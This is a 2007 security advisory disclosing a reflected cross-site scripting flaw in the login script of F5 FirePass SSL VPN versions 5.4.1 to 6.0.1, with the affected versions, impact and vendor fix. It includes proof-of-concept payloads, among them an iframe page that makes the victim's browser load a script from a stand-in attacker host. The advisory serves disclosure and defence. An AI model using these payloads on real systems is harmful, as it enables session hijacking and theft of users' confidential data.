PR07-15: Cross-site Scripting (XSS) / HTML injection on F5 FirePass 4100 SSL VPN
'my.logon.php3' server-side script
Date Found: 19th June 2007
Successfully tested on: version 5.5.2
F5 Networks has confirmed the following versions to be vulnerable:
FirePass versions 5.4.1 - 5.5.2
FirePass versions 6.0 - 6.0.1
Description:
F5 Networks FirePass 4100 SSL VPN is vulnerable to XSS within the "my.logon.php3" server-side script.
No authentication is required to exploit this vulnerability.
Consequences:
An attacker may be able to cause execution of malicious scripting code in the browser of a user who visits a
specially-crafted URL to an F5 Firepass device, or visits a malicious page that makes a request to such
URL. Such code would run within the security context of the target domain.
This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential
information (i.e. admin session IDs) to unauthorised third parties.
Proof of concept (PoC) URL:
https://target.tld/my.logon.php3?"></script><textarea>HTML_injection_test</textarea><!--
The payload in the example is
"></script><textarea>HTML_injection_test</textarea><!--
which injects a 'textarea' box
The following PoC HTML page could be hosted on a third-party site ('http://www.evil.foo/b' in this case) and
would run JavaScript without any restrictions:
<html>
<iframe src="https://target.tld/my.logon.php3?%22%3E%3C/script%3E%3Cscript%3Eeval%28name%29%
3C
/script%3E%3C%21--" width="0%" height="0%"name="xss=document.body.appendChild(document.
createElement('script'));xss.setAttribute('src','http://www.evil.foo/b')"></iframe>
</html>
Successfully tested on:
Server environment:
F5 FirePass 4100
Client environment:
Microsoft Internet Explorer 7.0.5730.11
Severity: Medium/High
Author: Richard Brain [richard.brain [at] procheckup.com] of ProCheckUp Ltd (www.procheckup.com)
With thanks to Petko D. Petkov for suggesting the eval(name) technique.
References:
http://www.procheckup.com/Vulnerability_2007.php
http://www.f5.com/products/FirePass/
ProCheckUp thanks F5 Networks for working with us.
Fix:
F5 Networks has issued SOL7923:
https://support.f5.com/kb/en-us/solutions/public/7000/900/SOL7923.html?sr=1
Legal:
Copyright 2007 ProCheckUp Ltd.
All rights reserved. Permission is granted for copying and circulating this Bulletin to the Internet community for the purpose of alerting them to problems, if and only if the Bulletin is not changed or edited in any way, is attributed to ProCheckUp indicating this web page URL, and provided such reproduction and/or distribution is performed for non-commercial purposes.
Any other use of this information is prohibited.
ProCheckUp is not liable for any misuse of this information by any third party. ProCheckUp is not responsible for the content of external Internet sites.
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